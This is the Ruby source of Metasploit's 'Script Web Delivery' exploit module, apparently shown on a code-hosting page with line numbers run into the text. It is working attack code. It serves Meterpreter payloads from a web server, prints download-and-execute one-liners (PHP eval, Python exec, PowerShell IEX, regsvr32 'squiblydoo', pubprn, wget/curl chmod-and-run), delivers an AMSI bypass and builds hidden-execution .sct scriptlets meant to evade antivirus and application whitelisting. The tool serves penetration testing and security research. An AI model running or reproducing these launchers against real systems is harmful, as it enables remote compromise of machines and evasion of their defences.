Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/script/web_delivery.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ManualRanking89include Msf::Exploit::EXE10include Msf::Exploit::Powershell11include Msf::Exploit::Remote::HttpServer1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Script Web Delivery',18'Description' => %q{19This module quickly fires up a web server that serves a payload.2021The module will provide a command to be run on the target machine22based on the selected target. The provided command will download23and execute a payload using either a specified scripting language24interpreter or "squiblydoo" via regsvr32.exe for bypassing25application whitelisting.2627The main purpose of this module is to quickly establish a session on a28target machine when the attacker has to manually type in the command:29e.g. Command Injection, RDP Session, Local Access or maybe Remote30Command Execution.3132This attack vector does not write to disk so it is less likely to33trigger AV solutions and will allow privilege escalations supplied34by Meterpreter.3536When using either of the PSH targets, ensure the payload architecture37matches the target computer or use SYSWOW64 powershell.exe to execute38x86 payloads on x64 machines.3940Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.41The signed Microsoft binary file, Regsvr32, is able to request an .sct42file and then execute the included PowerShell command inside of it.4344Similarly, the pubprn target uses the pubprn.vbs script to request and45execute a .sct file.4647Both web requests (i.e., the .sct file and PowerShell download/execute)48can occur on the same port.4950The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe51Microsoft signed binary to request and execute a PowerShell script. This52technique only works on Windows 10 builds <= 1709.5354"PSH (Binary)" will write a file to the disk, allowing for custom binaries55to be served up to be downloaded and executed.56},57'License' => MSF_LICENSE,58'Author' =>59[60'Andrew Smith "jakx" <[email protected]>',61'Ben Campbell',62'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!63'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)64'Trenton Ivey', # AppLocker MSF Module (kn0)65'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features66'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget67'Matt Nelson', # @enigma0x3 // pubprn discovery68'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass69'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery70],71'DefaultOptions' =>72{73'Payload' => 'python/meterpreter/reverse_tcp',74'Powershell::exec_in_place' => true75},76'References' =>77[78['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],79['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],80['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],81['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],82['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],83['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],84['URL', 'https://iwantmore.pizza/posts/amsi.html'],85['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],86['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],87['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],88],89'Platform' => %w[python php win linux osx],90'Targets' =>91[92[93'Python', {94'Platform' => 'python',95'Arch' => ARCH_PYTHON96}97],98[99'PHP', {100'Platform' => 'php',101'Arch' => ARCH_PHP102}103],104[105'PSH', {106'Platform' => 'win',107'Arch' => [ARCH_X86, ARCH_X64]108}109],110[111'Regsvr32', {112'Platform' => 'win',113'Arch' => [ARCH_X86, ARCH_X64]114}115],116[117'pubprn', {118'Platform' => 'win',119'Arch' => [ARCH_X86, ARCH_X64]120}121],122[123'SyncAppvPublishingServer', {124'Platform' => 'win',125'Arch' => [ARCH_X86, ARCH_X64]126}127],128[129'PSH (Binary)', {130'Platform' => 'win',131'Arch' => [ARCH_X86, ARCH_X64]132}133],134[135'Linux', {136'Platform' => 'linux',137'Arch' => [ARCH_X86, ARCH_X64]138}139],140[141'Mac OS X', {142'Platform' => 'osx',143'Arch' => [ARCH_X86, ARCH_X64]144}145],146],147'DefaultTarget' => 0,148'DisclosureDate' => '2013-07-19'149)150)151152register_advanced_options(153[154OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),155OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),156OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),157OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),158OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),159OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),160OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),161]162)163end164165def primer166print_status('Run the following command on the target machine:')167168case target.name169when 'PHP'170print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))171when 'Python'172print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))173when 'PSH'174uri = get_uri175if datastore['PSH-AmsiBypass']176amsi_uri = uri + amsi_bypass_uri177print_line(gen_psh([amsi_uri, uri], 'string').to_s)178else179print_line(gen_psh(uri, 'string').to_s)180end181when 'pubprn'182print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))183when 'SyncAppvPublishingServer'184print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))185when 'Regsvr32'186print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))187when 'PSH (Binary)'188psh = gen_psh(get_uri.to_s, 'download')189print_line(psh.to_s)190when 'Linux'191fname = Rex::Text.rand_text_alphanumeric(8)192print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")193when 'Mac OS X'194fname = Rex::Text.rand_text_alphanumeric(8)195print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")196end197end198199def amsi_bypass_uri200unless datastore['PSH-AmsiBypassURI'].empty?201@amsi_uri = datastore['PSH-AmsiBypassURI']202end203@amsi_uri ||= random_uri204end205206def on_request_uri(cli, request)207if request.raw_uri.to_s.ends_with?('.sct')208print_status('Handling .sct Request')209psh = gen_psh(get_uri.to_s, 'string')210211case target.name212when 'pubprn'213data = gen_pubprn_sct_file(psh)214when 'Regsvr32'215data = gen_sct_file(psh)216else217print_error('Unexpected request for .sct file')218end219220send_response(cli, data, 'Content-Type' => 'text/plain')221return222end223224if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)225data = bypass_powershell_protections226print_status("Delivering AMSI Bypass (#{data.length} bytes)")227send_response(cli, data, 'Content-Type' => 'text/plain')228return229end230231case target.name232when 'Linux', 'Mac OS X', 'PSH (Binary)'233data = generate_payload_exe234when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'235data = cmd_psh_payload(236payload.encoded,237payload_instance.arch.first238)239else240data = payload.encoded.to_s241end242243print_status("Delivering Payload (#{data.length} bytes)")244send_response(cli, data, 'Content-Type' => 'application/octet-stream')245end246247def gen_psh(url, *method)248ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl249force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']250251if method.include? 'string'252download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)253else254# Random filename to use, if there isn't anything set255random = "#{rand_text_alphanumeric(8)}.exe"256257# Set filename (Use random filename if empty)258filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']259260# Set path (Use %TEMP% if empty)261path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')262263# Join Path and Filename264file = %(echo (#{path}+'\\#{filename}'))265266# Generate download PowerShell command267download_string = Rex::Powershell::PshMethods.download_run(url, file)268end269270download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"271272# Generate main PowerShell command273if datastore['PSH-EncodedCommand']274download_and_run = encode_script(download_and_run)275return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)276end277278return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)279end280281def rand_class_id282"#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"283end284285def gen_sct_file(command)286%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}287end288289def gen_pubprn_sct_file(command)290%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}291end292end293294295